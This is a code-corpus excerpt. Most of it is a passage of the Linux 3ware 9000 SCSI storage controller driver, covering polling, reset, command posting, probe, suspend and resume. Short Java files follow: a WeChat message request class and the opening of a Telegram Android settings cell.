/* This function will poll for a response interrupt of a request */
static int twa_poll_response(TW_Device_Extension *tw_dev, int request_id, int seconds)
{
int retval = 1, found = 0, response_request_id;
TW_Response_Queue response_queue;
TW_Command_Full *full_command_packet = tw_dev->command_packet_virt[request_id];
if (twa_poll_status_gone(tw_dev, TW_STATUS_RESPONSE_QUEUE_EMPTY, seconds) == 0) {
response_queue.value = readl(TW_RESPONSE_QUEUE_REG_ADDR(tw_dev));
response_request_id = TW_RESID_OUT(response_queue.response_id);
if (request_id != response_request_id) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1e, "Found unexpected request id while polling for response");
goto out;
}
if (TW_OP_OUT(full_command_packet->command.newcommand.opcode__reserved) == TW_OP_EXECUTE_SCSI) {
if (full_command_packet->command.newcommand.status != 0) {
/* bad response */
twa_fill_sense(tw_dev, request_id, 0, 0);
goto out;
}
found = 1;
} else {
if (full_command_packet->command.oldcommand.status != 0) {
/* bad response */
twa_fill_sense(tw_dev, request_id, 0, 0);
goto out;
}
found = 1;
}
}
if (found)
retval = 0;
out:
return retval;
} /* End twa_poll_response() */
/* This function will poll the status register for a flag */
static int twa_poll_status(TW_Device_Extension *tw_dev, u32 flag, int seconds)
{
u32 status_reg_value;
unsigned long before;
int retval = 1;
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
before = jiffies;
if (twa_check_bits(status_reg_value))
twa_decode_bits(tw_dev, status_reg_value);
while ((status_reg_value & flag) != flag) {
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
if (twa_check_bits(status_reg_value))
twa_decode_bits(tw_dev, status_reg_value);
if (time_after(jiffies, before + HZ * seconds))
goto out;
msleep(50);
}
retval = 0;
out:
return retval;
} /* End twa_poll_status() */
/* This function will poll the status register for disappearance of a flag */
static int twa_poll_status_gone(TW_Device_Extension *tw_dev, u32 flag, int seconds)
{
u32 status_reg_value;
unsigned long before;
int retval = 1;
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
before = jiffies;
if (twa_check_bits(status_reg_value))
twa_decode_bits(tw_dev, status_reg_value);
while ((status_reg_value & flag) != 0) {
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
if (twa_check_bits(status_reg_value))
twa_decode_bits(tw_dev, status_reg_value);
if (time_after(jiffies, before + HZ * seconds))
goto out;
msleep(50);
}
retval = 0;
out:
return retval;
} /* End twa_poll_status_gone() */
/* This function will attempt to post a command packet to the board */
static int twa_post_command_packet(TW_Device_Extension *tw_dev, int request_id, char internal)
{
u32 status_reg_value;
dma_addr_t command_que_value;
int retval = 1;
command_que_value = tw_dev->command_packet_phys[request_id];
/* For 9650SE write low 4 bytes first */
if ((tw_dev->tw_pci_dev->device == PCI_DEVICE_ID_3WARE_9650SE) ||
(tw_dev->tw_pci_dev->device == PCI_DEVICE_ID_3WARE_9690SA)) {
command_que_value += TW_COMMAND_OFFSET;
writel((u32)command_que_value, TW_COMMAND_QUEUE_REG_ADDR_LARGE(tw_dev));
}
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
if (twa_check_bits(status_reg_value))
twa_decode_bits(tw_dev, status_reg_value);
if (((tw_dev->pending_request_count > 0) && (tw_dev->state[request_id] != TW_S_PENDING)) || (status_reg_value & TW_STATUS_COMMAND_QUEUE_FULL)) {
/* Only pend internal driver commands */
if (!internal) {
retval = SCSI_MLQUEUE_HOST_BUSY;
goto out;
}
/* Couldn't post the command packet, so we do it later */
if (tw_dev->state[request_id] != TW_S_PENDING) {
tw_dev->state[request_id] = TW_S_PENDING;
tw_dev->pending_request_count++;
if (tw_dev->pending_request_count > tw_dev->max_pending_request_count) {
tw_dev->max_pending_request_count = tw_dev->pending_request_count;
}
tw_dev->pending_queue[tw_dev->pending_tail] = request_id;
tw_dev->pending_tail = (tw_dev->pending_tail + 1) % TW_Q_LENGTH;
}
TW_UNMASK_COMMAND_INTERRUPT(tw_dev);
goto out;
} else {
if ((tw_dev->tw_pci_dev->device == PCI_DEVICE_ID_3WARE_9650SE) ||
(tw_dev->tw_pci_dev->device == PCI_DEVICE_ID_3WARE_9690SA)) {
/* Now write upper 4 bytes */
writel((u32)((u64)command_que_value >> 32), TW_COMMAND_QUEUE_REG_ADDR_LARGE(tw_dev) + 0x4);
} else {
if (sizeof(dma_addr_t) > 4) {
command_que_value += TW_COMMAND_OFFSET;
writel((u32)command_que_value, TW_COMMAND_QUEUE_REG_ADDR(tw_dev));
writel((u32)((u64)command_que_value >> 32), TW_COMMAND_QUEUE_REG_ADDR(tw_dev) + 0x4);
} else {
writel(TW_COMMAND_OFFSET + command_que_value, TW_COMMAND_QUEUE_REG_ADDR(tw_dev));
}
}
tw_dev->state[request_id] = TW_S_POSTED;
tw_dev->posted_request_count++;
if (tw_dev->posted_request_count > tw_dev->max_posted_request_count) {
tw_dev->max_posted_request_count = tw_dev->posted_request_count;
}
}
retval = 0;
out:
return retval;
} /* End twa_post_command_packet() */
/* This function will reset a device extension */
static int twa_reset_device_extension(TW_Device_Extension *tw_dev)
{
int i = 0;
int retval = 1;
unsigned long flags = 0;
set_bit(TW_IN_RESET, &tw_dev->flags);
TW_DISABLE_INTERRUPTS(tw_dev);
TW_MASK_COMMAND_INTERRUPT(tw_dev);
spin_lock_irqsave(tw_dev->host->host_lock, flags);
/* Abort all requests that are in progress */
for (i = 0; i < TW_Q_LENGTH; i++) {
if ((tw_dev->state[i] != TW_S_FINISHED) &&
(tw_dev->state[i] != TW_S_INITIAL) &&
(tw_dev->state[i] != TW_S_COMPLETED)) {
if (tw_dev->srb[i]) {
tw_dev->srb[i]->result = (DID_RESET << 16);
tw_dev->srb[i]->scsi_done(tw_dev->srb[i]);
twa_unmap_scsi_data(tw_dev, i);
}
}
}
/* Reset queues and counts */
for (i = 0; i < TW_Q_LENGTH; i++) {
tw_dev->free_queue[i] = i;
tw_dev->state[i] = TW_S_INITIAL;
}
tw_dev->free_head = TW_Q_START;
tw_dev->free_tail = TW_Q_START;
tw_dev->posted_request_count = 0;
tw_dev->pending_request_count = 0;
tw_dev->pending_head = TW_Q_START;
tw_dev->pending_tail = TW_Q_START;
tw_dev->reset_print = 0;
spin_unlock_irqrestore(tw_dev->host->host_lock, flags);
if (twa_reset_sequence(tw_dev, 1))
goto out;
TW_ENABLE_AND_CLEAR_INTERRUPTS(tw_dev);
clear_bit(TW_IN_RESET, &tw_dev->flags);
tw_dev->chrdev_request_id = TW_IOCTL_CHRDEV_FREE;
retval = 0;
out:
return retval;
} /* End twa_reset_device_extension() */
/* This function will reset a controller */
static int twa_reset_sequence(TW_Device_Extension *tw_dev, int soft_reset)
{
int tries = 0, retval = 1, flashed = 0, do_soft_reset = soft_reset;
while (tries < TW_MAX_RESET_TRIES) {
if (do_soft_reset) {
TW_SOFT_RESET(tw_dev);
/* Clear pchip/response queue on 9550SX */
if (twa_empty_response_queue_large(tw_dev)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x36, "Response queue (large) empty failed during reset sequence");
do_soft_reset = 1;
tries++;
continue;
}
}
/* Make sure controller is in a good state */
if (twa_poll_status(tw_dev, TW_STATUS_MICROCONTROLLER_READY | (do_soft_reset == 1 ? TW_STATUS_ATTENTION_INTERRUPT : 0), 60)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1f, "Microcontroller not ready during reset sequence");
do_soft_reset = 1;
tries++;
continue;
}
/* Empty response queue */
if (twa_empty_response_queue(tw_dev)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x20, "Response queue empty failed during reset sequence");
do_soft_reset = 1;
tries++;
continue;
}
flashed = 0;
/* Check for compatibility/flash */
if (twa_check_srl(tw_dev, &flashed)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x21, "Compatibility check failed during reset sequence");
do_soft_reset = 1;
tries++;
continue;
} else {
if (flashed) {
tries++;
continue;
}
}
/* Drain the AEN queue */
if (twa_aen_drain_queue(tw_dev, soft_reset)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x22, "AEN drain failed during reset sequence");
do_soft_reset = 1;
tries++;
continue;
}
/* If we got here, controller is in a good state */
retval = 0;
goto out;
}
out:
return retval;
} /* End twa_reset_sequence() */
/* This funciton returns unit geometry in cylinders/heads/sectors */
static int twa_scsi_biosparam(struct scsi_device *sdev, struct block_device *bdev, sector_t capacity, int geom[])
{
int heads, sectors, cylinders;
TW_Device_Extension *tw_dev;
tw_dev = (TW_Device_Extension *)sdev->host->hostdata;
if (capacity >= 0x200000) {
heads = 255;
sectors = 63;
cylinders = sector_div(capacity, heads * sectors);
} else {
heads = 64;
sectors = 32;
cylinders = sector_div(capacity, heads * sectors);
}
geom[0] = heads;
geom[1] = sectors;
geom[2] = cylinders;
return 0;
} /* End twa_scsi_biosparam() */
/* This is the new scsi eh reset function */
static int twa_scsi_eh_reset(struct scsi_cmnd *SCpnt)
{
TW_Device_Extension *tw_dev = NULL;
int retval = FAILED;
tw_dev = (TW_Device_Extension *)SCpnt->device->host->hostdata;
tw_dev->num_resets++;
sdev_printk(KERN_WARNING, SCpnt->device,
"WARNING: (0x%02X:0x%04X): Command (0x%x) timed out, resetting card.\n",
TW_DRIVER, 0x2c, SCpnt->cmnd[0]);
/* Make sure we are not issuing an ioctl or resetting from ioctl */
mutex_lock(&tw_dev->ioctl_lock);
/* Now reset the card and some of the device extension data */
if (twa_reset_device_extension(tw_dev)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x2b, "Controller reset failed during scsi host reset");
goto out;
}
retval = SUCCESS;
out:
mutex_unlock(&tw_dev->ioctl_lock);
return retval;
} /* End twa_scsi_eh_reset() */
/* This is the main scsi queue function to handle scsi opcodes */
static int twa_scsi_queue(struct scsi_cmnd *SCpnt, void (*done)(struct scsi_cmnd *))
{
int request_id, retval;
TW_Device_Extension *tw_dev = (TW_Device_Extension *)SCpnt->device->host->hostdata;
/* If we are resetting due to timed out ioctl, report as busy */
if (test_bit(TW_IN_RESET, &tw_dev->flags)) {
retval = SCSI_MLQUEUE_HOST_BUSY;
goto out;
}
/* Check if this FW supports luns */
if ((SCpnt->device->lun != 0) && (tw_dev->tw_compat_info.working_srl < TW_FW_SRL_LUNS_SUPPORTED)) {
SCpnt->result = (DID_BAD_TARGET << 16);
done(SCpnt);
retval = 0;
goto out;
}
/* Save done function into scsi_cmnd struct */
SCpnt->scsi_done = done;
/* Get a free request id */
twa_get_request_id(tw_dev, &request_id);
/* Save the scsi command for use by the ISR */
tw_dev->srb[request_id] = SCpnt;
/* Initialize phase to zero */
SCpnt->SCp.phase = TW_PHASE_INITIAL;
retval = twa_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL);
switch (retval) {
case SCSI_MLQUEUE_HOST_BUSY:
twa_free_request_id(tw_dev, request_id);
break;
case 1:
tw_dev->state[request_id] = TW_S_COMPLETED;
twa_free_request_id(tw_dev, request_id);
SCpnt->result = (DID_ERROR << 16);
done(SCpnt);
retval = 0;
}
out:
return retval;
} /* End twa_scsi_queue() */
/* This function hands scsi cdb's to the firmware */
static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry *sglistarg)
{
TW_Command_Full *full_command_packet;
TW_Command_Apache *command_packet;
u32 num_sectors = 0x0;
int i, sg_count;
struct scsi_cmnd *srb = NULL;
struct scatterlist *sglist = NULL, *sg;
int retval = 1;
if (tw_dev->srb[request_id]) {
srb = tw_dev->srb[request_id];
if (scsi_sglist(srb))
sglist = scsi_sglist(srb);
}
/* Initialize command packet */
full_command_packet = tw_dev->command_packet_virt[request_id];
full_command_packet->header.header_desc.size_header = 128;
full_command_packet->header.status_block.error = 0;
full_command_packet->header.status_block.severity__reserved = 0;
command_packet = &full_command_packet->command.newcommand;
command_packet->status = 0;
command_packet->opcode__reserved = TW_OPRES_IN(0, TW_OP_EXECUTE_SCSI);
/* We forced 16 byte cdb use earlier */
if (!cdb)
memcpy(command_packet->cdb, srb->cmnd, TW_MAX_CDB_LEN);
else
memcpy(command_packet->cdb, cdb, TW_MAX_CDB_LEN);
if (srb) {
command_packet->unit = srb->device->id;
command_packet->request_id__lunl =
cpu_to_le16(TW_REQ_LUN_IN(srb->device->lun, request_id));
} else {
command_packet->request_id__lunl =
cpu_to_le16(TW_REQ_LUN_IN(0, request_id));
command_packet->unit = 0;
}
command_packet->sgl_offset = 16;
if (!sglistarg) {
/* Map sglist from scsi layer to cmd packet */
if (scsi_sg_count(srb)) {
if ((scsi_sg_count(srb) == 1) &&
(scsi_bufflen(srb) < TW_MIN_SGL_LENGTH)) {
if (srb->sc_data_direction == DMA_TO_DEVICE ||
srb->sc_data_direction == DMA_BIDIRECTIONAL)
scsi_sg_copy_to_buffer(srb,
tw_dev->generic_buffer_virt[request_id],
TW_SECTOR_SIZE);
command_packet->sg_list[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]);
command_packet->sg_list[0].length = cpu_to_le32(TW_MIN_SGL_LENGTH);
} else {
sg_count = twa_map_scsi_sg_data(tw_dev, request_id);
if (sg_count == 0)
goto out;
scsi_for_each_sg(srb, sg, sg_count, i) {
command_packet->sg_list[i].address = TW_CPU_TO_SGL(sg_dma_address(sg));
command_packet->sg_list[i].length = cpu_to_le32(sg_dma_len(sg));
if (command_packet->sg_list[i].address & TW_CPU_TO_SGL(TW_ALIGNMENT_9000_SGL)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x2e, "Found unaligned sgl address during execute scsi");
goto out;
}
}
}
command_packet->sgl_entries__lunh = cpu_to_le16(TW_REQ_LUN_IN((srb->device->lun >> 4), scsi_sg_count(tw_dev->srb[request_id])));
}
} else {
/* Internal cdb post */
for (i = 0; i < use_sg; i++) {
command_packet->sg_list[i].address = TW_CPU_TO_SGL(sglistarg[i].address);
command_packet->sg_list[i].length = cpu_to_le32(sglistarg[i].length);
if (command_packet->sg_list[i].address & TW_CPU_TO_SGL(TW_ALIGNMENT_9000_SGL)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x2f, "Found unaligned sgl address during internal post");
goto out;
}
}
command_packet->sgl_entries__lunh = cpu_to_le16(TW_REQ_LUN_IN(0, use_sg));
}
if (srb) {
if (srb->cmnd[0] == READ_6 || srb->cmnd[0] == WRITE_6)
num_sectors = (u32)srb->cmnd[4];
if (srb->cmnd[0] == READ_10 || srb->cmnd[0] == WRITE_10)
num_sectors = (u32)srb->cmnd[8] | ((u32)srb->cmnd[7] << 8);
}
/* Update sector statistic */
tw_dev->sector_count = num_sectors;
if (tw_dev->sector_count > tw_dev->max_sector_count)
tw_dev->max_sector_count = tw_dev->sector_count;
/* Update SG statistics */
if (srb) {
tw_dev->sgl_entries = scsi_sg_count(tw_dev->srb[request_id]);
if (tw_dev->sgl_entries > tw_dev->max_sgl_entries)
tw_dev->max_sgl_entries = tw_dev->sgl_entries;
}
/* Now post the command to the board */
if (srb) {
retval = twa_post_command_packet(tw_dev, request_id, 0);
} else {
twa_post_command_packet(tw_dev, request_id, 1);
retval = 0;
}
out:
return retval;
} /* End twa_scsiop_execute_scsi() */
/* This function completes an execute scsi operation */
static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int request_id)
{
struct scsi_cmnd *cmd = tw_dev->srb[request_id];
if (scsi_bufflen(cmd) < TW_MIN_SGL_LENGTH &&
(cmd->sc_data_direction == DMA_FROM_DEVICE ||
cmd->sc_data_direction == DMA_BIDIRECTIONAL)) {
if (scsi_sg_count(cmd) == 1) {
void *buf = tw_dev->generic_buffer_virt[request_id];
scsi_sg_copy_from_buffer(cmd, buf, TW_SECTOR_SIZE);
}
}
} /* End twa_scsiop_execute_scsi_complete() */
/* This function tells the controller to shut down */
static void __twa_shutdown(TW_Device_Extension *tw_dev)
{
/* Disable interrupts */
TW_DISABLE_INTERRUPTS(tw_dev);
/* Free up the IRQ */
free_irq(tw_dev->tw_pci_dev->irq, tw_dev);
printk(KERN_WARNING "3w-9xxx: Shutting down host %d.\n", tw_dev->host->host_no);
/* Tell the card we are shutting down */
if (twa_initconnection(tw_dev, 1, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL, NULL)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x31, "Connection shutdown failed");
} else {
printk(KERN_WARNING "3w-9xxx: Shutdown complete.\n");
}
/* Clear all interrupts just before exit */
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
} /* End __twa_shutdown() */
/* Wrapper for __twa_shutdown */
static void twa_shutdown(struct pci_dev *pdev)
{
struct Scsi_Host *host = pci_get_drvdata(pdev);
TW_Device_Extension *tw_dev = (TW_Device_Extension *)host->hostdata;
__twa_shutdown(tw_dev);
} /* End twa_shutdown() */
/* This function will look up a string */
static char *twa_string_lookup(twa_message_type *table, unsigned int code)
{
int index;
for (index = 0; ((code != table[index].code) &&
(table[index].text != (char *)0)); index++);
return(table[index].text);
} /* End twa_string_lookup() */
/* This function will perform a pci-dma unmap */
static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id)
{
struct scsi_cmnd *cmd = tw_dev->srb[request_id];
if (cmd->SCp.phase == TW_PHASE_SGLIST)
scsi_dma_unmap(cmd);
} /* End twa_unmap_scsi_data() */
/* This function gets called when a disk is coming on-line */
static int twa_slave_configure(struct scsi_device *sdev)
{
/* Force 60 second timeout */
blk_queue_rq_timeout(sdev->request_queue, 60 * HZ);
return 0;
} /* End twa_slave_configure() */
/* scsi_host_template initializer */
static struct scsi_host_template driver_template = {
.module = THIS_MODULE,
.name = "3ware 9000 Storage Controller",
.queuecommand = twa_scsi_queue,
.eh_host_reset_handler = twa_scsi_eh_reset,
.bios_param = twa_scsi_biosparam,
.change_queue_depth = twa_change_queue_depth,
.can_queue = TW_Q_LENGTH-2,
.slave_configure = twa_slave_configure,
.this_id = -1,
.sg_tablesize = TW_APACHE_MAX_SGL_LENGTH,
.max_sectors = TW_MAX_SECTORS,
.cmd_per_lun = TW_MAX_CMDS_PER_LUN,
.use_clustering = ENABLE_CLUSTERING,
.shost_attrs = twa_host_attrs,
.emulated = 1
};
/* This function will probe and initialize a card */
static int __devinit twa_probe(struct pci_dev *pdev, const struct pci_device_id *dev_id)
{
struct Scsi_Host *host = NULL;
TW_Device_Extension *tw_dev;
unsigned long mem_addr, mem_len;
int retval = -ENODEV;
retval = pci_enable_device(pdev);
if (retval) {
TW_PRINTK(host, TW_DRIVER, 0x34, "Failed to enable pci device");
goto out_disable_device;
}
pci_set_master(pdev);
pci_try_set_mwi(pdev);
if (pci_set_dma_mask(pdev, DMA_BIT_MASK(64))
|| pci_set_consistent_dma_mask(pdev, DMA_BIT_MASK(64)))
if (pci_set_dma_mask(pdev, DMA_BIT_MASK(32))
|| pci_set_consistent_dma_mask(pdev, DMA_BIT_MASK(32))) {
TW_PRINTK(host, TW_DRIVER, 0x23, "Failed to set dma mask");
retval = -ENODEV;
goto out_disable_device;
}
host = scsi_host_alloc(&driver_template, sizeof(TW_Device_Extension));
if (!host) {
TW_PRINTK(host, TW_DRIVER, 0x24, "Failed to allocate memory for device extension");
retval = -ENOMEM;
goto out_disable_device;
}
tw_dev = (TW_Device_Extension *)host->hostdata;
/* Save values to device extension */
tw_dev->host = host;
tw_dev->tw_pci_dev = pdev;
if (twa_initialize_device_extension(tw_dev)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x25, "Failed to initialize device extension");
goto out_free_device_extension;
}
/* Request IO regions */
retval = pci_request_regions(pdev, "3w-9xxx");
if (retval) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x26, "Failed to get mem region");
goto out_free_device_extension;
}
if (pdev->device == PCI_DEVICE_ID_3WARE_9000) {
mem_addr = pci_resource_start(pdev, 1);
mem_len = pci_resource_len(pdev, 1);
} else {
mem_addr = pci_resource_start(pdev, 2);
mem_len = pci_resource_len(pdev, 2);
}
/* Save base address */
tw_dev->base_addr = ioremap(mem_addr, mem_len);
if (!tw_dev->base_addr) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x35, "Failed to ioremap");
goto out_release_mem_region;
}
/* Disable interrupts on the card */
TW_DISABLE_INTERRUPTS(tw_dev);
/* Initialize the card */
if (twa_reset_sequence(tw_dev, 0))
goto out_iounmap;
/* Set host specific parameters */
if ((pdev->device == PCI_DEVICE_ID_3WARE_9650SE) ||
(pdev->device == PCI_DEVICE_ID_3WARE_9690SA))
host->max_id = TW_MAX_UNITS_9650SE;
else
host->max_id = TW_MAX_UNITS;
host->max_cmd_len = TW_MAX_CDB_LEN;
/* Channels aren't supported by adapter */
host->max_lun = TW_MAX_LUNS(tw_dev->tw_compat_info.working_srl);
host->max_channel = 0;
/* Register the card with the kernel SCSI layer */
retval = scsi_add_host(host, &pdev->dev);
if (retval) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x27, "scsi add host failed");
goto out_iounmap;
}
pci_set_drvdata(pdev, host);
printk(KERN_WARNING "3w-9xxx: scsi%d: Found a 3ware 9000 Storage Controller at 0x%lx, IRQ: %d.\n",
host->host_no, mem_addr, pdev->irq);
printk(KERN_WARNING "3w-9xxx: scsi%d: Firmware %s, BIOS %s, Ports: %d.\n",
host->host_no,
(char *)twa_get_param(tw_dev, 0, TW_VERSION_TABLE,
TW_PARAM_FWVER, TW_PARAM_FWVER_LENGTH),
(char *)twa_get_param(tw_dev, 1, TW_VERSION_TABLE,
TW_PARAM_BIOSVER, TW_PARAM_BIOSVER_LENGTH),
le32_to_cpu(*(int *)twa_get_param(tw_dev, 2, TW_INFORMATION_TABLE,
TW_PARAM_PORTCOUNT, TW_PARAM_PORTCOUNT_LENGTH)));
/* Try to enable MSI */
if (use_msi && (pdev->device != PCI_DEVICE_ID_3WARE_9000) &&
!pci_enable_msi(pdev))
set_bit(TW_USING_MSI, &tw_dev->flags);
/* Now setup the interrupt handler */
retval = request_irq(pdev->irq, twa_interrupt, IRQF_SHARED, "3w-9xxx", tw_dev);
if (retval) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x30, "Error requesting IRQ");
goto out_remove_host;
}
twa_device_extension_list[twa_device_extension_count] = tw_dev;
twa_device_extension_count++;
/* Re-enable interrupts on the card */
TW_ENABLE_AND_CLEAR_INTERRUPTS(tw_dev);
/* Finally, scan the host */
scsi_scan_host(host);
if (twa_major == -1) {
if ((twa_major = register_chrdev (0, "twa", &twa_fops)) < 0)
TW_PRINTK(host, TW_DRIVER, 0x29, "Failed to register character device");
}
return 0;
out_remove_host:
if (test_bit(TW_USING_MSI, &tw_dev->flags))
pci_disable_msi(pdev);
scsi_remove_host(host);
out_iounmap:
iounmap(tw_dev->base_addr);
out_release_mem_region:
pci_release_regions(pdev);
out_free_device_extension:
twa_free_device_extension(tw_dev);
scsi_host_put(host);
out_disable_device:
pci_disable_device(pdev);
return retval;
} /* End twa_probe() */
/* This function is called to remove a device */
static void twa_remove(struct pci_dev *pdev)
{
struct Scsi_Host *host = pci_get_drvdata(pdev);
TW_Device_Extension *tw_dev = (TW_Device_Extension *)host->hostdata;
scsi_remove_host(tw_dev->host);
/* Unregister character device */
if (twa_major >= 0) {
unregister_chrdev(twa_major, "twa");
twa_major = -1;
}
/* Shutdown the card */
__twa_shutdown(tw_dev);
/* Disable MSI if enabled */
if (test_bit(TW_USING_MSI, &tw_dev->flags))
pci_disable_msi(pdev);
/* Free IO remapping */
iounmap(tw_dev->base_addr);
/* Free up the mem region */
pci_release_regions(pdev);
/* Free up device extension resources */
twa_free_device_extension(tw_dev);
scsi_host_put(tw_dev->host);
pci_disable_device(pdev);
twa_device_extension_count--;
} /* End twa_remove() */
#ifdef CONFIG_PM
/* This function is called on PCI suspend */
static int twa_suspend(struct pci_dev *pdev, pm_message_t state)
{
struct Scsi_Host *host = pci_get_drvdata(pdev);
TW_Device_Extension *tw_dev = (TW_Device_Extension *)host->hostdata;
printk(KERN_WARNING "3w-9xxx: Suspending host %d.\n", tw_dev->host->host_no);
TW_DISABLE_INTERRUPTS(tw_dev);
free_irq(tw_dev->tw_pci_dev->irq, tw_dev);
if (test_bit(TW_USING_MSI, &tw_dev->flags))
pci_disable_msi(pdev);
/* Tell the card we are shutting down */
if (twa_initconnection(tw_dev, 1, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL, NULL)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x38, "Connection shutdown failed during suspend");
} else {
printk(KERN_WARNING "3w-9xxx: Suspend complete.\n");
}
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
pci_save_state(pdev);
pci_disable_device(pdev);
pci_set_power_state(pdev, pci_choose_state(pdev, state));
return 0;
} /* End twa_suspend() */
/* This function is called on PCI resume */
static int twa_resume(struct pci_dev *pdev)
{
int retval = 0;
struct Scsi_Host *host = pci_get_drvdata(pdev);
TW_Device_Extension *tw_dev = (TW_Device_Extension *)host->hostdata;
printk(KERN_WARNING "3w-9xxx: Resuming host %d.\n", tw_dev->host->host_no);
pci_set_power_state(pdev, PCI_D0);
pci_enable_wake(pdev, PCI_D0, 0);
pci_restore_state(pdev);
retval = pci_enable_device(pdev);
if (retval) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x39, "Enable device failed during resume");
return retval;
}
pci_set_master(pdev);
pci_try_set_mwi(pdev);
if (pci_set_dma_mask(pdev, DMA_BIT_MASK(64))
|| pci_set_consistent_dma_mask(pdev, DMA_BIT_MASK(64)))
if (pci_set_dma_mask(pdev, DMA_BIT_MASK(32))
|| pci_set_consistent_dma_mask(pdev, DMA_BIT_MASK(32))) {
TW_PRINTK(host, TW_DRIVER, 0x40, "Failed to set dma mask during resume");
retval = -ENODEV;
goto out_disable_device;
}
/* Initialize the card */
if (twa_reset_sequence(tw_dev, 0)) {
retval = -ENODEV;
goto out_disable_device;
}
/* Now setup the interrupt handler */
retval = request_irq(pdev->irq, twa_interrupt, IRQF_SHARED, "3w-9xxx", tw_dev);
if (retval) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x42, "Error requesting IRQ during resume");
retval = -ENODEV;
goto out_disable_device;
}
/* Now enable MSI if enabled */
if (test_bit(TW_USING_MSI, &tw_dev->flags))
pci_enable_msi(pdev);
/* Re-enable interrupts on the card */
TW_ENABLE_AND_CLEAR_INTERRUPTS(tw_dev);
printk(KERN_WARNING "3w-9xxx: Resume complete.\n");
return 0;
out_disable_device:
scsi_remove_host(host);
pci_disable_device(pdev);
return retval;
} /* End twa_resume() */
#endif
/* PCI Devices supported by this driver */
static struct pci_device_id twa_pci_tbl[] __devinitdata = {
{ PCI_VENDOR_ID_3WARE, PCI_DEVICE_ID_3WARE_9000,
PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0},
{ PCI_VENDOR_ID_3WARE, PCI_DEVICE_ID_3WARE_9550SX,
PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0},
{ PCI_VENDOR_ID_3WARE, PCI_DEVICE_ID_3WARE_9650SE,
PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0},
{ PCI_VENDOR_ID_3WARE, PCI_DEVICE_ID_3WARE_9690SA,
PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0},
{ }
};
MODULE_DEVICE_TABLE(pci, twa_pci_tbl);
/* pci_driver initializer */
static struct pci_driver twa_driver = {
.name = "3w-9xxx",
.id_table = twa_pci_tbl,
.probe = twa_probe,
.remove = twa_remove,
#ifdef CONFIG_PM
.suspend = twa_suspend,
.resume = twa_resume,
#endif
.shutdown = twa_shutdown
};
/* This function is called on driver initialization */
static int __init twa_init(void)
{
printk(KERN_WARNING "3ware 9000 Storage Controller device driver for Linux v%s.\n", TW_DRIVER_VERSION);
return pci_register_driver(&twa_driver);
} /* End twa_init() */
/* This function is called on driver exit */
static void __exit twa_exit(void)
{
pci_unregister_driver(&twa_driver);
} /* End twa_exit() */
module_init(twa_init);
module_exit(twa_exit);
|
luckasfb/OT_903D-kernel-2.6.35.7
|
kernel/drivers/scsi/3w-9xxx.c
|
C
|
gpl-2.0
| 74,008
|
package com.aifeng.ws.wx;
import java.util.Map;
/**
* Created by pro on 17-4-17.
*/
public class RequestBody {
private String touser;
private String msgtype;
private int agentid;
private Map<String,Object> text;
private int safe;
public String getTouser() {
return touser;
}
public void setTouser(String touser) {
this.touser = touser;
}
public String getMsgtype() {
return msgtype;
}
public void setMsgtype(String msgtype) {
this.msgtype = msgtype;
}
public int getAgentid() {
return agentid;
}
public void setAgentid(int agentid) {
this.agentid = agentid;
}
public Map<String, Object> getText() {
return text;
}
public void setText(Map<String, Object> text) {
this.text = text;
}
public int getSafe() {
return safe;
}
public void setSafe(int safe) {
this.safe = safe;
}
}
|
dunyuling/cxh
|
src/main/java/com/aifeng/ws/wx/RequestBody.java
|
Java
|
gpl-2.0
| 974
|
/*
* This is the source code of Telegram for Android v. 5.x.x.
* It is licensed under GNU GPL v. 2 or later.
* You should have received a copy of the license in this archive (see LICENSE).
*
* Copyright Nikolai Kudashov, 2013-2018.
*/
package org.telegram.ui.Cells;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffColorFilter;
import android.text.TextUtils;
import android.util.TypedValue;
import android.view.Gravity;
import android.widget.FrameLayout;
import android.widget.ImageView;
import android.widget.TextView;
import org.telegram.messenger.AndroidUtilities;
import org.telegram.messenger.LocaleController;
import org.telegram.messenger.R;
import org.telegram.ui.ActionBar.Theme;
import org.telegram.ui.Components.LayoutHelper;
import org.telegram.ui.Components.Switch;
public class NotificationsCheckCell extends FrameLayout {
private TextView textView;
private TextView valueTextView;
@SuppressWarnings("FieldCanBeLocal")
private ImageView moveImageView;
private Switch checkBox;
private boolean needDivider;
private boolean drawLine = true;
private boolean isMultiline;
private int currentHeight;
public NotificationsCheckCell(Context context) {
